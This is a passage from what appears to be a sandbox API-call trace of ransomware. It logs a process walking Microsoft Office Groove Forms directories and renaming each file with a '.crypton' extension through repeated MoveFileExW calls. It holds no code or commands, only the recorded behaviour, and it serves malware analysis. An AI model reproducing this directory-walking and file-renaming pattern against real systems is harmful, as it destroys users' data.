Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\BG_ADOBE.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\bg_adobe.gif.crypton"), dwFlags=0x2) returned 1 [0102.814] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\bg_Casual.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\bg_casual.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\bg_Casual.gif.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\bg_casual.gif.crypton"), dwFlags=0x2) returned 1 [0102.833] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\bg_Country.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\bg_country.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\bg_Country.gif.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\bg_country.gif.crypton"), dwFlags=0x2) returned 1 [0102.840] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\bg_Earthy.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\bg_earthy.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\bg_Earthy.gif.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\bg_earthy.gif.crypton"), dwFlags=0x2) returned 1 [0102.890] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\bg_FormsHomePage.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\bg_formshomepage.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\bg_FormsHomePage.gif.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\bg_formshomepage.gif.crypton"), dwFlags=0x2) returned 1 [0102.906] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\bg_FormsHomePageBlank.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\bg_formshomepageblank.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\bg_FormsHomePageBlank.gif.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\bg_formshomepageblank.gif.crypton"), dwFlags=0x2) returned 1 [0102.909] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\bg_FormsHomePageSlice.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\bg_formshomepageslice.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\bg_FormsHomePageSlice.gif.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\bg_formshomepageslice.gif.crypton"), dwFlags=0x2) returned 1 [0102.923] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\bg_GreenTea.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\bg_greentea.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\bg_GreenTea.gif.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\bg_greentea.gif.crypton"), dwFlags=0x2) returned 1 [0102.925] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\bg_Groove.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\bg_groove.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\bg_Groove.gif.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\bg_groove.gif.crypton"), dwFlags=0x2) returned 1 [0102.932] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\bg_LightSpirit.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\bg_lightspirit.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\bg_LightSpirit.gif.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\bg_lightspirit.gif.crypton"), dwFlags=0x2) returned 1 [0102.943] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\bg_OliveGreen.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\bg_olivegreen.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\bg_OliveGreen.gif.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\bg_olivegreen.gif.crypton"), dwFlags=0x2) returned 1 [0102.950] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\bg_Premium.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\bg_premium.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\bg_Premium.gif.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\bg_premium.gif.crypton"), dwFlags=0x2) returned 1 [0102.963] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\bg_SlateBlue.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\bg_slateblue.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\bg_SlateBlue.gif.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\bg_slateblue.gif.crypton"), dwFlags=0x2) returned 1 [0102.970] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\bg_TexturedBlue.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\bg_texturedblue.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\bg_TexturedBlue.gif.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\bg_texturedblue.gif.crypton"), dwFlags=0x2) returned 1 [0102.982] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\bg_VelvetRose.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\bg_velvetrose.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\bg_VelvetRose.gif.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\bg_velvetrose.gif.crypton"), dwFlags=0x2) returned 1 [0102.984] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\button_left.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\button_left.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\button_left.gif.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\button_left.gif.crypton"), dwFlags=0x2) returned 1 [0102.986] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\button_left_over.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\button_left_over.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\button_left_over.gif.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\button_left_over.gif.crypton"), dwFlags=0x2) returned 1 [0102.989] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\button_mid.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\button_mid.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\button_mid.gif.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\button_mid.gif.crypton"), dwFlags=0x2) returned 1 [0102.992] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\button_mid_over.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\button_mid_over.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\button_mid_over.gif.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\button_mid_over.gif.crypton"), dwFlags=0x2) returned 1 [0102.994] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\button_right.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\button_right.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\button_right.gif.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\button_right.gif.crypton"), dwFlags=0x2) returned 1 [0102.997] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\button_right_over.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\button_right_over.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\button_right_over.gif.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\button_right_over.gif.crypton"), dwFlags=0x2) returned 1 [0103.000] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\CALENDAR.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\calendar.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\CALENDAR.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\calendar.gif.crypton"), dwFlags=0x2) returned 1 [0103.004] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\DELETE.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\delete.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\DELETE.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\delete.gif.crypton"), dwFlags=0x2) returned 1 [0103.011] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\ERROR.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\error.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\ERROR.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\error.gif.crypton"), dwFlags=0x2) returned 1 [0103.055] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FORM.JS" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\form.js"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FORM.JS.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\form.js.crypton"), dwFlags=0x2) returned 1 [0103.060] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsBlankPage.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsblankpage.html"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsBlankPage.html.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsblankpage.html.crypton"), dwFlags=0x2) returned 1 [0103.066] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsBrowserUpgrade.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsbrowserupgrade.html"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsBrowserUpgrade.html.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsbrowserupgrade.html.crypton"), dwFlags=0x2) returned 1 [0103.069] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsColorChart.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formscolorchart.html"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsColorChart.html.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formscolorchart.html.crypton"), dwFlags=0x2) returned 1 [0103.073] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsFormTemplate.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsformtemplate.html"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsFormTemplate.html.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsformtemplate.html.crypton"), dwFlags=0x2) returned 1 [0103.077] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsHomePage.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formshomepage.html"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsHomePage.html.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formshomepage.html.crypton"), dwFlags=0x2) returned 1 [0103.084] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsHomePageScript.js" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formshomepagescript.js"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsHomePageScript.js.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formshomepagescript.js.crypton"), dwFlags=0x2) returned 1 [0103.094] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsHomePageStyle.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formshomepagestyle.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsHomePageStyle.css.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formshomepagestyle.css.crypton"), dwFlags=0x2) returned 1 [0103.099] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsImageTemplate.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsimagetemplate.html"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsImageTemplate.html.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsimagetemplate.html.crypton"), dwFlags=0x2) returned 1 [0103.103] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsMacroTemplate.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsmacrotemplate.html"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsMacroTemplate.html.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsmacrotemplate.html.crypton"), dwFlags=0x2) returned 1 [0103.115] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsPreviewTemplate.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formspreviewtemplate.html"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsPreviewTemplate.html.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formspreviewtemplate.html.crypton"), dwFlags=0x2) returned 1 [0103.119] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsPrintTemplate.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsprinttemplate.html"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsPrintTemplate.html.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsprinttemplate.html.crypton"), dwFlags=0x2) returned 1 [0103.125] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\*", lpFindFileData=0x4a8d28 | out: lpFindFileData=0x4a8d28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbad26c40, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xbad26c40, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x37000433, cFileName=".", cAlternateFileName="")) returned 0x5498d0 [0103.128] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Adobe.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\adobe.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Adobe.css.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\adobe.css.crypton"), dwFlags=0x2) returned 1 [0103.131] GetFileType (hFile=0x1b4) returned 0x1 [0103.136] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Americana\\*", lpFindFileData=0x4a8380 | out: lpFindFileData=0x4a8380*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528d0030, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbad4cda0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xbad4cda0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x30000232, cFileName=".", cAlternateFileName="")) returned 0x549910 [0103.138] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Americana\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\americana\\tab_off.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Americana\\TAB_OFF.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\americana\\tab_off.gif.crypton"), dwFlags=0x2) returned 1 [0103.141] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Americana\\TAB_ON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\americana\\tab_on.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Americana\\TAB_ON.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\americana\\tab_on.gif.crypton"), dwFlags=0x2) returned 1 [0103.145] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Americana.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\americana.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Americana.css.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\americana.css.crypton"), dwFlags=0x2) returned 1 [0103.147] GetFileType (hFile=0x1b4) returned 0x1 [0103.151] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BabyBlue\\*", lpFindFileData=0x4a8380 | out: lpFindFileData=0x4a8380*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528d0030, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbad72f00, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xbad72f00, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x34000632, cFileName=".", cAlternateFileName="")) returned 0x549910 [0103.153] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BabyBlue\\BUTTON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\babyblue\\button.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BabyBlue\\BUTTON.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\babyblue\\button.gif.crypton"), dwFlags=0x2) returned 1 [0103.155] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BabyBlue\\HEADER.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\babyblue\\header.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BabyBlue\\HEADER.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\babyblue\\header.gif.crypton"), dwFlags=0x2) returned 1 [0103.158] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BabyBlue\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\babyblue\\tab_off.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BabyBlue\\TAB_OFF.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\babyblue\\tab_off.gif.crypton"), dwFlags=0x2) returned 1 [0103.160] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BabyBlue\\TAB_ON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\babyblue\\tab_on.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BabyBlue\\TAB_ON.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\babyblue\\tab_on.gif.crypton"), dwFlags=0x2) returned 1 [0103.165] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BabyBlue.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\babyblue.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BabyBlue.css.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\babyblue.css.crypton"), dwFlags=0x2) returned 1 [0103.167] GetFileType (hFile=0x1b4) returned 0x1 [0103.171] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Biscay\\*", lpFindFileData=0x4a8380 | out: 